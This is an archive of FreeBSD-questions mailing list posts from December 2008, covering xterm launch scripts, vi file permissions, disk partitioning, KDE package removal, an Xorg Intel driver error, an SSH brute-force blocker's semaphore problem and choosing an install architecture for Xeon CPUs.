edvax.de (Polytropon) Date: Tue Dec 2 00:36:03 2008 Subject: open multiple xterms with script In-Reply-To: <30fc78250812020007h22ab0dc4if044e46b4f36b00c@mail.gmail.com> References: <30fc78250812020007h22ab0dc4if044e46b4f36b00c@mail.gmail.com> Message-ID: <20081202093544.a5cb8a21.freebsd@edvax.de> On Tue, 2 Dec 2008 10:07:47 +0200, "Aggelidis Nikos" wrote: > hi to all the list, > > i need some help... Is it possible to open four consoles as > root(authenticate yourself once), in each one run a specific program > and do this through a script? {bash or python). > i want to open 4 xterms in the four corners of the screen. In 3 xterms > i want to run specific applications needing root privileges and the > last i want it for administrative purposes. > > what i have so far: > > sudo xterm -e "path/to/application1" & > sudo xterm -e "path/to/application2" & > sudo xterm -e "path/to/application3" & > sudo xterm > > But this approach has the following problems: > > 1) i have only managed to get it to work as sudo not su > > 2) i haven't managed to position the 4 terminals correctly > in the 4 corners of the screen Maybe this is a solution for you (or at least a point to start): #!/bin/sh xterm -geometry -title "App 1" -e su root -c "app1" & xterm -geometry -title "App 2" -e su root -c "app2" & xterm -geometry -title "App 3" -e su root -c "app3" & xterm -geometry -title "App 4" -e su root -c "app4" & The -geometry is set as ROWSxCOLS+X+Y, e. g. 80x25+0+0 for the upper left corner. See "man xterm" for further options as you could need them. > 3) i want to be able to close and restart a single terminal.without > running again the whole script (this i am not sure if it is even > doable). For example if one of the applications hungs, then i want to > be able to restart this application, without running the whole script > again. You could create a "wrapper script" that calls four scripts which only start one of the four applications each. ~/bin/run_1: #!/bin/sh xterm -geometry -title "App 1" -e su root -c "app1" & ~/bin/run_2: #!/bin/sh xterm -geometry -title "App 2" -e su root -c "app2" & ~/bin/run_3: #!/bin/sh xterm -geometry -title "App 3" -e su root -c "app3" & ~/bin/run_4: #!/bin/sh xterm -geometry -title "App 4" -e su root -c "app4" & ~/bin/run_all: #!/bin/sh ~/bin/run_1 ~/bin/run_2 ~/bin/run_3 ~/bin/run_4 Not very elegant and tidy, but should work. You could add some checking to the first script mentioned so it gets a clue which application is *not* running and restart it when called, not starting those that are running again (second session). -- Polytropon >From Magdeburg, Germany Happy FreeBSD user since 4.0 Andra moi ennepe, Mousa, ... From ivoras at freebsd.org Tue Dec 2 01:20:04 2008 From: ivoras at freebsd.org (Ivan Voras) Date: Tue Dec 2 01:20:15 2008 Subject: Disenchanted with ZFS; alternatives? In-Reply-To: <4934E276.3050308@comcast.net> References: <200812010959.15647.kirk@strauser.com> <4934E276.3050308@comcast.net> Message-ID: <9bbcef730812020120w539a8f14jc496b14c2fbd52ad@mail.gmail.com> 2008/12/2 Nathan Lay : > What about DragonFlyBSD's new HAMMER FS? I hear it has similar capabilities > as ZFS without the overhead. Though, strangely, I haven't really heard > anyone discuss it even though it was released some months ago. Well, that's because it doesn't :) From talk at holon.urwis.cc Tue Dec 2 01:51:07 2008 From: talk at holon.urwis.cc (Adam Zaleski) Date: Tue Dec 2 01:51:14 2008 Subject: Problem with permissions and vi Message-ID: <493500C0.3030202@holon.urwis.cc> Hello, I have a problem setting up some permissions to file and editing this file with vi.. I have two different examples to show you what I mean... First one: [netlest@unixlab ~]$ echo "some text" > some_file.txt [netlest@unixlab ~]$ chmod 000 some_file.txt [netlest@unixlab ~]$ ls -l some_file.txt ---------- 1 netlest staff 10 2 gru 09:55 some_file.txt [netlest@unixlab ~]$ echo "some other text" >> some_file.txt -bash: some_file.txt: Permission denied [netlest@unixlab ~]$ cat some_file.txt cat: some_file.txt: Permission denied [netlest@unixlab ~]$ chmod 600 some_file.txt [netlest@unixlab ~]$ cat some_file.txt some text [netlest@unixlab ~]$ Everythink was ok... And now.. another one [netlest@unixlab ~]$ echo "some text" > some_file.txt [netlest@unixlab ~]$ chmod 000 some_file.txt [netlest@unixlab ~]$ ls -l some_file.txt ---------- 1 netlest staff 10 2 gru 09:55 some_file.txt [netlest@unixlab ~]$ vi some_file.txt Now ignore warnings with permission denied showing in vim.. and put some text into the some_file.txt and then :wq! [netlest@unixlab ~]$ ls -l some_file.txt ---------- 1 netlest staff 33 2 gru 10:23 some_file.txt [netlest@unixlab ~/t]$ cat some_file.txt cat: some_file.txt: Permission denied [netlest@unixlab ~/t]$ chmod 600 some_file.txt [netlest@unixlab ~/t]$ cat some_file.txt aasda sd a some texs asdas d as [netlest@unixlab ~/t]$ Why I am able to put some text into some_file.txt with chmod 000 using vi editor and why i can not do the same using echo??? From Pieter.Donche at ua.ac.be Tue Dec 2 01:56:47 2008 From: Pieter.Donche at ua.ac.be (Pieter Donche) Date: Tue Dec 2 01:56:56 2008 Subject: (no subject) Message-ID: If one has a system with 7 500Gb SATA disks in a hardware RAID6 (Areca Raid Controller), then (according to mail J.Chadwick 7 Nov 2008) they will show up as da (following naming convention for scsi disks although they are not). RAID6 will allow about 2,5 Tb for the 'user' (roughly 1 Tb will be consumed by the parity information of RAID6). How will this 2,5 Tb space present itself at the time of initial install of FreeBSD? Will this be a single 'disk' ad0 ? .. correct or not (then what)? If FreeBSD is to put on the system as only operating system (Fdisk: "A = Use Entire disk"), then will the BSD-partitions will show up as ad0a (/), ad0b (swap), ad0d (/var) etc... correct or not (then what)? Page 427 of the FreeBSD handbook states that due to the use of 32-bit integers to store the number of sectors is limited to 2^32 -1 sectors/disk = 2 TB. A layout could be a / 1Gb, b swap, d /root 20 Gb, (a /root partition is from an example of someone who claims that at boot FreeBSD checks the partions in background except for the / partition, by keeping / as small as possible, the time to boot can be mimimized .. correct? but will /root ever be something big ??) e /tmp 20 Gb, f /var 20 Gb, g /usr 20 Gb this leaves 2420 Gb which is more than 2 Tb, so you can't put all that in 1 filesystem h /home, you will need to split that in 2 BSD-paritions, but since you can't have more that 8 BSD-partitions (highest BSD-partition letter is h), you need to give up at least one of d, e, f, g. ... correct or not (then what)? What is the best scheme of BSD-partitioning in this case? From fbsd.questions at rachie.is-a-geek.net Tue Dec 2 02:06:26 2008 From: fbsd.questions at rachie.is-a-geek.net (Mel) Date: Tue Dec 2 02:06:33 2008 Subject: Problem with permissions and vi In-Reply-To: <493500C0.3030202@holon.urwis.cc> References: <493500C0.3030202@holon.urwis.cc> Message-ID: <200812021106.20916.fbsd.questions@rachie.is-a-geek.net> On Tuesday 02 December 2008 10:32:48 Adam Zaleski wrote: > Hello, > > I have a problem setting up some permissions to file > and editing this file with vi.. I have two different > examples to show you what I mean... First one: > > [netlest@unixlab ~]$ echo "some text" > some_file.txt > [netlest@unixlab ~]$ chmod 000 some_file.txt > [netlest@unixlab ~]$ ls -l some_file.txt > ---------- 1 netlest staff 10 2 gru 09:55 some_file.txt > [netlest@unixlab ~]$ echo "some other text" >> some_file.txt > -bash: some_file.txt: Permission denied > [netlest@unixlab ~]$ cat some_file.txt > cat: some_file.txt: Permission denied > [netlest@unixlab ~]$ chmod 600 some_file.txt > [netlest@unixlab ~]$ cat some_file.txt > some text > [netlest@unixlab ~]$ > > > Everythink was ok... > > And now.. another one > [netlest@unixlab ~]$ echo "some text" > some_file.txt > [netlest@unixlab ~]$ chmod 000 some_file.txt > [netlest@unixlab ~]$ ls -l some_file.txt > ---------- 1 netlest staff 10 2 gru 09:55 some_file.txt > [netlest@unixlab ~]$ vi some_file.txt > > Now ignore warnings with permission denied showing in vim.. > and put some text into the some_file.txt and then :wq! > > [netlest@unixlab ~]$ ls -l some_file.txt > ---------- 1 netlest staff 33 2 gru 10:23 some_file.txt > [netlest@unixlab ~/t]$ cat some_file.txt > cat: some_file.txt: Permission denied > [netlest@unixlab ~/t]$ chmod 600 some_file.txt > [netlest@unixlab ~/t]$ cat some_file.txt > aasda > sd > a some texs > asdas > d > as > [netlest@unixlab ~/t]$ > > > Why I am able to put some text into some_file.txt with > chmod 000 using vi editor and why i can not do the same > using echo??? Because you have write access on the directory and :wq with an exclamation mark !, forces the write, which in actuality removes the file and writes the editor contents to a new file, then restores permissions. -- Mel Problem with today's modular software: they start with the modules and never get to the software part. From wojtek at wojtek.tensor.gdynia.pl Tue Dec 2 02:10:13 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Tue Dec 2 02:10:20 2008 Subject: Disenchanted with ZFS; alternatives? In-Reply-To: <9bbcef730812020120w539a8f14jc496b14c2fbd52ad@mail.gmail.com> References: <200812010959.15647.kirk@strauser.com> <4934E276.3050308@comcast.net> <9bbcef730812020120w539a8f14jc496b14c2fbd52ad@mail.gmail.com> Message-ID: <20081202110922.T14849@wojtek.tensor.gdynia.pl> > >> What about DragonFlyBSD's new HAMMER FS? I hear it has similar capabilities >> as ZFS without the overhead. Though, strangely, I haven't really heard >> anyone discuss it even though it was released some months ago. it's maybe pre-pre-prerelease. it's not finished yet. From freebsd at edvax.de Tue Dec 2 02:17:43 2008 From: freebsd at edvax.de (Polytropon) Date: Tue Dec 2 02:17:50 2008 Subject: UFS partitioning In-Reply-To: References: Message-ID: <20081202111740.96805018.freebsd@edvax.de> On Tue, 2 Dec 2008 10:56:44 +0100 (CET), Pieter Donche wrote: > If FreeBSD is to put on the system as only operating system (Fdisk: > "A = Use Entire disk"), then will the BSD-partitions will show up as > ad0a (/), ad0b (swap), ad0d (/var) etc... correct or not (then what)? You're mixing terminology here. :-) The "use entire disk" will create a slice for FreeBSD covering the complete disk. A slice is what MICROS~1 calls "primary partition". Now the conclusion: Let's say you create a slice on ad0, it will be ad0s1. Now you can create partitions inside this slice as you mentioned it, e. g. ad0s1a = /, ad0s1b = swap, ad0s1d = /tmp, ad0s1e = /var, ad0s1f = /usr and ad0s1g = /home. But if you're refering to ad0a, ad0b, ad0d etc. you're stating that there's no slice, implying that (if I see this correctly) it isn't possible to boot from that disk. Of couse, if you would intend to use a (physical) second disk for only the home partition, you could omit the slice and the partition and simply newfs ad1 - but that wasn't your question. ad0 |-----------------------------------------------| the whole disk ad0s1 \----------------------------------------------/ one slice ad0s1X \--/\---/\-----/\-----/\-------/\------------/ partitions a b d e f g / swap /tmp /var /usr /home mount point In case of "dual booting", you usually have more than one slice on your disk, but what happens inside the FreeBSD slice is mostly the same. > Page 427 of the FreeBSD handbook states that due to the use of 32-bit > integers to store the number of sectors is limited to 2^32 -1 > sectors/disk = 2 TB. A layout could be > a / 1Gb, > b swap, > d /root 20 Gb, (a /root partition is from an example of someone who > claims that at boot FreeBSD checks the partions in background except > for the / partition, by keeping / as small as possible, the time to > boot can be mimimized .. correct? but will /root ever be something > big ??) No no, / refers to "the root partition". One way of setting up p?artitions is just to have one partition (one root parttion) and put everything on it, including /tmp, /var, /usr and /home. Another philosophy is to create partitions designated to their further use, just as I mentioned it above. For /, you would hardly need more than 1 GB. It just contains the kernel, basal system binaries, the configuration files and the directories that are mount points for all the other file systems. Even a 256 MB / partition should be enoung. > e /tmp 20 Gb, > f /var 20 Gb, > g /usr 20 Gb > this leaves 2420 Gb which is more than 2 Tb, so you can't put all > that in 1 filesystem h /home, you will need to split that in 2 > BSD-paritions, but since you can't have more that 8 BSD-partitions > (highest BSD-partition letter is h), you need to give up at least > one of d, e, f, g. ... correct or not (then what)? I quite doubt that FreeBSD's UFS 2 cannot handle a 2 TB partition as a whole, but because I don't have sch large disks with UFS (I have ZFS for them), I cannot tell. PS. Corrected subject (was missing). -- Polytropon >From Magdeburg, Germany Happy FreeBSD user since 4.0 Andra moi ennepe, Mousa, ... From Pieter.Donche at ua.ac.be Tue Dec 2 02:53:37 2008 From: Pieter.Donche at ua.ac.be (Pieter Donche) Date: Tue Dec 2 02:53:44 2008 Subject: UFS partitioning In-Reply-To: <20081202111740.96805018.freebsd@edvax.de> References: <20081202111740.96805018.freebsd@edvax.de> Message-ID: On Tue, 2 Dec 2008, Polytropon wrote: > ad0 |-----------------------------------------------| the whole disk > ad0s1 \----------------------------------------------/ one slice > ad0s1X \--/\---/\-----/\-----/\-------/\------------/ partitions > a b d e f g > / swap /tmp /var /usr /home mount point OK this is clear.. >> a / 1Gb, >> b swap, >> d /root 20 Gb, (a /root partition is from an example of someone who >> claims that at boot FreeBSD checks the partions in background except >> for the / partition, by keeping / as small as possible, the time to >> boot can be mimimized .. correct? but will /root ever be something >> big ??) > > No no, / refers to "the root partition". One way of setting > up partitions is just to have one partition (one root parttion) > and put everything on it, including /tmp, /var, /usr and /home. I know / is the "root partition", but /root is the home-directory of the user root (/etc/passwd: root:*:0:0:Charlie &:/root:/bin/csh). I doubt this will ever be needed to be large? If its not large fsck neither will spend much time in it. So I guess it's just safe not to make this a separate BSD-partiton ? > Another philosophy is to create partitions designated to their > further use, just as I mentioned it above. Yes, but it's hard to find out what is best... I'm constantly swinged between the one (/ including /tmp /var /usr) and the other (all separate) option ... >> this leaves 2420 Gb which is more than 2 Tb, so you can't put all >> that in 1 filesystem h /home, you will need to split that in 2 >> BSD-paritions, but since you can't have more that 8 BSD-partitions >> (highest BSD-partition letter is h), you need to give up at least >> one of d, e, f, g. ... correct or not (then what)? > > I quite doubt that FreeBSD's UFS 2 cannot handle a 2 TB partition > as a whole, but because I don't have sch large disks with UFS > (I have ZFS for them), I cannot tell. Anyone else can tell? From anthony.rasat at gmail.com Tue Dec 2 02:55:06 2008 From: anthony.rasat at gmail.com (Anthony M. Rasat) Date: Tue Dec 2 02:55:14 2008 Subject: Problem with permissions and vi Message-ID: <1634600794-1228215302-cardhu_decombobulator_blackberry.rim.net-1868538506-@bxe1001.bisx.prodap.on.blackberry> >Why I am able to put some text into >some_file.txt with >chmod 000 using vi editor and why i >can not do the same >using echo??? I'm not exactly vi master or guru here but I think it's because you write vi with :wq! command. If you write tried to write some_file.txt with :w instead, vi would complaints "cannot wrote blablabla" and so on. I assumed you wanted to write-protect your file from unauthorised tempering attempt (either from you or other user) you can do that by changing ownership of the file to other user's, most popular probably to root's. I don't think vi can overwrite different owner's file unless permission flag's permit it. -- Regards, Anthony M. Rasat Manager - Technical, Network and Support Division PT. Jawa Pos National Network Graha Pena Jawa Pos Group Building, 5th floor Jln. Raya Kebayoran Lama 12, Jakarta Barat 12210 Indonesia.- Phone 02132185562 Phone 081574217035 Fax 02153651465 Web http://www.jpnn.com From contact at kikinovak.net Tue Dec 2 03:13:04 2008 From: contact at kikinovak.net (Niki Kovacs) Date: Tue Dec 2 03:13:24 2008 Subject: Introduction Message-ID: <4935183E.1030100@kikinovak.net> Hi, I'm an Austrian sysadmin living in Montpezat (South France), and a 100% GNU/Linux user since 2001. I've started with Slackware (7.1, I think) on a battered 486, hopped distros for some time, used Mandriva, Debian and then Slackware again for a few years. In the last two years or so, I've been mainly using a mix of CentOS (a Red Hat Enterprise Linux clone) and Fedora. I've been working as a writer for the french magazine "Linux Pratique" since 2004. For the last two years, my job consisted primarily in networking a series of small public libraries in eleven small towns around here, using 100% open source software. I don't know why, but it looks like I never crossed paths with FreeBSD. Only recently, I took a peek in the apparently well-written documentation. Now I have some spare time and also a spare machine (a Fujitsu Lifebook), and I thought I'd give FreeBSD a spin, just out of mere curiosity. Cheers from the sunny South of France, Niki Kovacs From contact at kikinovak.net Tue Dec 2 03:33:55 2008 From: contact at kikinovak.net (Niki Kovacs) Date: Tue Dec 2 03:34:02 2008 Subject: Problem configuring X: FreeBSD 6.4, Intel video card, Fujitsu lifebook Message-ID: <49351D20.7030507@kikinovak.net> Hi, I just installed FreeBSD 6.4 on a Fujitsu lifebook. I'm quite new to FreeBSD (see previous post "Introduction"). Some time ago, I had bought (and partially read) Michael Urban's "FreeBSD 6 Unleashed". I just worked through the initial chapters, and managed installing FreeBSD and configuring X just fine. Only I ran into trouble installing a desktop environment, since building gnome2-lite failed. I thought before doing anything, I'd get a more recent set of FreeBSD install discs, since the book includes 6.1, which seems a bit outdated. Now I did an install using a set of 6.4 install discs. Everything ran fine, except I can't get X to work anymore. Configuration: # Xorg -configure # mv /root/xorg.conf.new /etc/X11/xorg.conf And then test: # startx X crashes with the following error message: Fatal server error: Couldn't find PLL settings for mode! I googled about this and found a few results... on the Ubuntu 8.10 bugtracker. Apparently the 'intel' video driver has some problems with my specific Intel video card. What now? Try to use the older 'i810' instead of 'intel'? But how would I do that? Simply replacing the corresponding "Driver" line in xorg.conf doesn't help. Any suggestions? Niki Kovacs From keramida at freebsd.org Tue Dec 2 03:42:42 2008 From: keramida at freebsd.org (Giorgos Keramidas) Date: Tue Dec 2 03:42:48 2008 Subject: Why process memory starts so high up in virtual space with FreeBSD malloc? In-Reply-To: <49346BD3.5080506@rawbw.com> (yuri@rawbw.com's message of "Mon, 01 Dec 2008 14:57:23 -0800") References: <49345710.9070403@rawbw.com> <874p1njz3l.fsf@kobe.laptop> <49346BD3.5080506@rawbw.com> Message-ID: <87ljuy2483.fsf@kobe.laptop> On Mon, 01 Dec 2008 14:57:23 -0800, Yuri wrote: > Giorgos Keramidas wrote: >> The FreeBSD malloc(3) implementation can use either mmap() or sbrk() to >> obtain memory from the system. It does not 'waste a high percentage of >> memory' but it simply maps only high addresses (with an unmapped 'hole' >> in lower addresses). > > But the hole it leaves with MALLOC_OPTIONS='dM' is way larger than the > one left by 'Dm' option. Usually malloc will keep allocating addresses > higher than this initial value and will never come back and fill some > parts of this gap. Therefore "wasting" this space. The 'D' and 'M' options set what malloc() will _prefer_, they do not force malloc() to use _only_ the particular type of memory space. As Dan explained in another post, both memory types will be used if there is need for more address space. From gesbbb at yahoo.com Tue Dec 2 04:14:06 2008 From: gesbbb at yahoo.com (Jerry) Date: Tue Dec 2 04:14:14 2008 Subject: Uninstalling kde3 meta-port In-Reply-To: <4934E5DA.6040308@eskk.nu> References: <4934E5DA.6040308@eskk.nu> Message-ID: <20081202071353.222f8df0@scorpio> On Tue, 02 Dec 2008 08:38:02 +0100 Leslie Jensen wrote: >How would you guys uninstall a meta-port? > >I'm considering a move to kde4 but I want a clean install, so I want >to remove the kde3 meta-port first. Well, you might try navigating to the kde3 port and running: make deinstall. Alternately, you could try running something like 'pkg_delete'; i.e.: "pkg_delete -vdf kde-3.5.10". -- Jerry gesbbb@yahoo.com Everybody wants to go to heaven, but nobody wants to die. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 195 bytes Desc: not available Url : http://lists.freebsd.org/pipermail/freebsd-questions/attachments/20081202/35eaf648/signature.pgp From fbsd.questions at rachie.is-a-geek.net Tue Dec 2 04:17:21 2008 From: fbsd.questions at rachie.is-a-geek.net (Mel) Date: Tue Dec 2 04:17:28 2008 Subject: Problem configuring X: FreeBSD 6.4, Intel video card, Fujitsu lifebook In-Reply-To: <49351D20.7030507@kikinovak.net> References: <49351D20.7030507@kikinovak.net> Message-ID: <200812021317.16172.fbsd.questions@rachie.is-a-geek.net> On Tuesday 02 December 2008 12:33:52 Niki Kovacs wrote: > Hi, > > I just installed FreeBSD 6.4 on a Fujitsu lifebook. I'm quite new to > FreeBSD (see previous post "Introduction"). Some time ago, I had bought > (and partially read) Michael Urban's "FreeBSD 6 Unleashed". I just > worked through the initial chapters, and managed installing FreeBSD and > configuring X just fine. Only I ran into trouble installing a desktop > environment, since building gnome2-lite failed. I thought before doing > anything, I'd get a more recent set of FreeBSD install discs, since the > book includes 6.1, which seems a bit outdated. > > Now I did an install using a set of 6.4 install discs. Everything ran > fine, except I can't get X to work anymore. > > Configuration: > > # Xorg -configure > # mv /root/xorg.conf.new /etc/X11/xorg.conf > > And then test: > > # startx > > X crashes with the following error message: > > Fatal server error: > Couldn't find PLL settings for mode! > > I googled about this and found a few results... on the Ubuntu 8.10 > bugtracker. Apparently the 'intel' video driver has some problems with > my specific Intel video card. > > What now? Try to use the older 'i810' instead of 'intel'? But how would > I do that? Simply replacing the corresponding "Driver" line in xorg.conf > doesn't help. How doesn't it help? Is the driver loaded or not? Any relevant info in /var/log/Xorg.0.log? -- Mel Problem with today's modular software: they start with the modules and never get to the software part. From Pieter.Donche at ua.ac.be Tue Dec 2 04:31:41 2008 From: Pieter.Donche at ua.ac.be (Pieter Donche) Date: Tue Dec 2 04:31:48 2008 Subject: FreeBSD 7.0: which distribution Message-ID: If motherboad is Supermicro X7SBE XEON 3000 with 2 Quad core processors Intel Harpertown E 5405 2.0Ghz 12M cache 1333FSB and 4 x 4Gb memory, what distribution of FreeBSD 7.0 applies: i386 or ia64 ? Why are the ISO's so different in size between i386 and ia64 (i386: disc1,2,3: 534, 728, 368Gb; ia64: 449Gb, 0,372 Gb, 0,372 Gb) From fbsd.questions at rachie.is-a-geek.net Tue Dec 2 04:35:46 2008 From: fbsd.questions at rachie.is-a-geek.net (Mel) Date: Tue Dec 2 04:35:53 2008 Subject: Uninstalling kde3 meta-port In-Reply-To: <4934E5DA.6040308@eskk.nu> References: <4934E5DA.6040308@eskk.nu> Message-ID: <200812021335.42120.fbsd.questions@rachie.is-a-geek.net> On Tuesday 02 December 2008 08:38:02 Leslie Jensen wrote: > How would you guys uninstall a meta-port? > > I'm considering a move to kde4 but I want a clean install, so I want to > remove the kde3 meta-port first. cd /usr/ports/x11/kde3 for dep in `make -V RUN_DEPENDS`; do origin=${dep##*:}; portname=`make -C ${origin} -V PORTNAME`; pkg_delete -Xf "^${portname}-[0-9\.,_]+\$"; done cd /usr/ports/ports-mgmt/pkg_cutleaves make install pkg_cutleaves -xg Delete all leaves you are sure you don't need anymore, till no leaves are left. -- Mel Problem with today's modular software: they start with the modules and never get to the software part. From ebbe.hjorth at gmail.com Tue Dec 2 04:37:04 2008 From: ebbe.hjorth at gmail.com (Ebbe Hjorth) Date: Tue Dec 2 04:37:11 2008 Subject: FreeBSD 7.0: which distribution In-Reply-To: References: Message-ID: <1bd820d80812020437h5bd7266co67c566b386b8873e@mail.gmail.com> Hi, All new XEON cpus are 64-bit spo use the 64 bit freebsd version. 368 vs 372 is that the 64 bit is compiled for 64 bit, and uses a little more space. / Ebbe 2008/12/2 Pieter Donche > If motherboad is Supermicro X7SBE XEON 3000 with 2 Quad core processors > Intel Harpertown E 5405 2.0Ghz 12M cache 1333FSB and 4 x 4Gb memory, what > distribution of FreeBSD 7.0 applies: i386 or ia64 ? > > Why are the ISO's so different in size between i386 and ia64 (i386: > disc1,2,3: 534, 728, 368Gb; ia64: 449Gb, 0,372 Gb, 0,372 Gb) > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to " > freebsd-questions-unsubscribe@freebsd.org" > From leslie at eskk.nu Tue Dec 2 04:39:53 2008 From: leslie at eskk.nu (Leslie Jensen) Date: Tue Dec 2 04:40:00 2008 Subject: Uninstalling kde3 meta-port In-Reply-To: <20081202071353.222f8df0@scorpio> References: <4934E5DA.6040308@eskk.nu> <20081202071353.222f8df0@scorpio> Message-ID: <49352BF5.5040704@eskk.nu> Jerry skrev: > On Tue, 02 Dec 2008 08:38:02 +0100 > Leslie Jensen wrote: > >> How would you guys uninstall a meta-port? >> >> I'm considering a move to kde4 but I want a clean install, so I want >> to remove the kde3 meta-port first. > > Well, you might try navigating to the kde3 port > and running: make deinstall. Alternately, you could try running > something like 'pkg_delete'; i.e.: "pkg_delete -vdf kde-3.5.10". > Well, I tried your first suggestion before I posted, and it only removes the meta-port but none of the ports it has installed. The second suggestion I have not tried because I want it to do a recursive deinstall without touching any ports that are dependencies of other installed ports. Maybe it is as simple as pkg_delete -r, but because I saw what happend when deinstaling the meta-port I felt I needed to ask to be sure. I could ofcourse deinstall kde, kdebase, kdehier and so forth but I'm looking for a smarter way to do it. /Leslie From wojtek at wojtek.tensor.gdynia.pl Tue Dec 2 04:48:53 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Tue Dec 2 04:52:57 2008 Subject: UFS partitioning In-Reply-To: <20081202111740.96805018.freebsd@edvax.de> References: <20081202111740.96805018.freebsd@edvax.de> Message-ID: <20081202134750.C15234@wojtek.tensor.gdynia.pl> >> ad0a (/), ad0b (swap), ad0d (/var) etc... correct or not (then what)? > > You're mixing terminology here. :-) The "use entire disk" will > create a slice for FreeBSD covering the complete disk. A slice > is what MICROS~1 calls "primary partition". > > Now the conclusion: Let's say you create a slice on ad0, it will > be ad0s1. Now you can create partitions inside this slice as you by not using sysinstall (simple manual install) there is no need to create slices at all just disklabel works fine. From wojtek at wojtek.tensor.gdynia.pl Tue Dec 2 04:50:06 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Tue Dec 2 04:54:01 2008 Subject: Introduction In-Reply-To: <4935183E.1030100@kikinovak.net> References: <4935183E.1030100@kikinovak.net> Message-ID: <20081202134902.A15234@wojtek.tensor.gdynia.pl> > I don't know why, but it looks like I never crossed paths with FreeBSD. Only > recently, I took a peek in the apparently well-written documentation. Now I > have some spare time and also a spare machine (a Fujitsu Lifebook), and I > thought I'd give FreeBSD a spin, just out of mere curiosity. unfortunately i was too unaware of *BSD systems and used linux, until it got so unusable with time i started to actively seek something else. Moved to NetBSD, then to FreeBSD From Pieter.Donche at ua.ac.be Tue Dec 2 04:50:29 2008 From: Pieter.Donche at ua.ac.be (Pieter Donche) Date: Tue Dec 2 04:54:18 2008 Subject: FreeBSD 7.0: which distribution In-Reply-To: <1bd820d80812020437h5bd7266co67c566b386b8873e@mail.gmail.com> References: <1bd820d80812020437h5bd7266co67c566b386b8873e@mail.gmail.com> Message-ID: On Tue, 2 Dec 2008, Ebbe Hjorth wrote: > Hi, > All new XEON cpus are 64-bit spo use the 64 bit freebsd version. So this would point to "ia64" distribution? But clicking op www.freebsd.com/where.html - Hardware notes/View tells for ia64: Currently supported processors are Itanium and Itanium2 There nothing about Intel XEON ?? > > 368 vs 372 is that the 64 bit is compiled for 64 bit, and uses a little more > space. what is "368 vs 372" ?? > > > / Ebbe > > 2008/12/2 Pieter Donche > >> If motherboad is Supermicro X7SBE XEON 3000 with 2 Quad core processors >> Intel Harpertown E 5405 2.0Ghz 12M cache 1333FSB and 4 x 4Gb memory, what >> distribution of FreeBSD 7.0 applies: i386 or ia64 ? >> >> Why are the ISO's so different in size between i386 and ia64 (i386: >> disc1,2,3: 534, 728, 368Gb; ia64: 449Gb, 0,372 Gb, 0,372 Gb) >> _______________________________________________ >> freebsd-questions@freebsd.org mailing list >> http://lists.freebsd.org/mailman/listinfo/freebsd-questions >> To unsubscribe, send any mail to " >> freebsd-questions-unsubscribe@freebsd.org" >> > From onemda at gmail.com Tue Dec 2 04:55:38 2008 From: onemda at gmail.com (Paul B. Mahol) Date: Tue Dec 2 04:57:11 2008 Subject: Problem configuring X: FreeBSD 6.4, Intel video card, Fujitsu lifebook In-Reply-To: <49351D20.7030507@kikinovak.net> References: <49351D20.7030507@kikinovak.net> Message-ID: <3a142e750812020455j4fc5005dxbb2b8d84b38ffe5c@mail.gmail.com> On 12/2/08, Niki Kovacs wrote: > Hi, > > I just installed FreeBSD 6.4 on a Fujitsu lifebook. I'm quite new to > FreeBSD (see previous post "Introduction"). Some time ago, I had bought > (and partially read) Michael Urban's "FreeBSD 6 Unleashed". I just > worked through the initial chapters, and managed installing FreeBSD and > configuring X just fine. Only I ran into trouble installing a desktop > environment, since building gnome2-lite failed. I thought before doing > anything, I'd get a more recent set of FreeBSD install discs, since the > book includes 6.1, which seems a bit outdated. > > Now I did an install using a set of 6.4 install discs. Everything ran > fine, except I can't get X to work anymore. > > Configuration: > > # Xorg -configure > # mv /root/xorg.conf.new /etc/X11/xorg.conf > > And then test: > > # startx > > X crashes with the following error message: > > Fatal server error: > Couldn't find PLL settings for mode! > > I googled about this and found a few results... on the Ubuntu 8.10 > bugtracker. Apparently the 'intel' video driver has some problems with > my specific Intel video card. > > What now? Try to use the older 'i810' instead of 'intel'? But how would > I do that? Simply replacing the corresponding "Driver" line in xorg.conf > doesn't help. Because xf86-video-i810 conflicts with xf86-video-intel and for xf86-video-intel 'i810' is alias for 'intel' in xorg.conf. To really test 'i810' driver you should deinstall xf86-video-intel and install xf86-video-i810. -- Paul From d.forsyth at ru.ac.za Tue Dec 2 04:56:00 2008 From: d.forsyth at ru.ac.za (DA Forsyth) Date: Tue Dec 2 04:57:12 2008 Subject: sshit runs out of semaphores Message-ID: <49354C7C.9611.68C7120@d.forsyth.ru.ac.za> Hiya I recently started (trying) to use sshit to filter the many brute force sshd attacks. However, it has never worked on my box. FreeBSD 7.0 p1. This morning it would only give a message (without exiting) Could not create semaphore set: No space left on device at /usr/local/sbin/sshit line 322 Every time it gets stopped by CTRL-C it leaves the shared memory behind, allocated. I am going to reboot later and double the number of semaphores (in loader.conf). I am running hobbit which uses 8, leaving only 2 free. This may solve this issue, but I'd appreciate any ideas and experienced advice. A side issue is that sshit will only filter rapid fire attacks, but I am also seeing 'slow fire' attacks, where an IP is repeated every 2 or 3 hours, but there seem to be a network of attackers because the name sequence is kept up across many incoming IP's. Is there any script for countering these attacks? If not I'll write one I think. -- DA Fo rsyth Network Supervisor Principal Technical Officer -- Institute for Water Research http://www.ru.ac.za/institutes/iwr/ From ebbe.hjorth at gmail.com Tue Dec 2 04:57:09 2008 From: ebbe.hjorth at gmail.com (Ebbe Hjorth) Date: Tue Dec 2 04:57:24 2008 Subject: FreeBSD 7.0: which distribution In-Reply-To: References: <1bd820d80812020437h5bd7266co67c566b386b8873e@mail.gmail.com> Message-ID: <1bd820d80812020457n15f1e6a0s9bd200db05b551f6@mail.gmail.com> 2008/12/2 Pieter Donche > On Tue, 2 Dec 2008, Ebbe Hjorth wrote: > > Hi, >> All new XEON cpus are 64-bit spo use the 64 bit freebsd version. >> > So this would point to "ia64" distribution? > But clicking op www.freebsd.com/where.html - Hardware notes/View > tells for ia64: Currently supported processors are Itanium and Itanium2 > There nothing about Intel XEON ?? > I never googled it before, but 2 sec gave me http://www.freebsd.org/releases/7.0R/hardware.html#PROC-AMD64 So use the amd64 ;) > >> 368 vs 372 is that the 64 bit is compiled for 64 bit, and uses a little >> more >> space. >> > what is "368 vs 372" ?? The size difference you talked about (368 vs 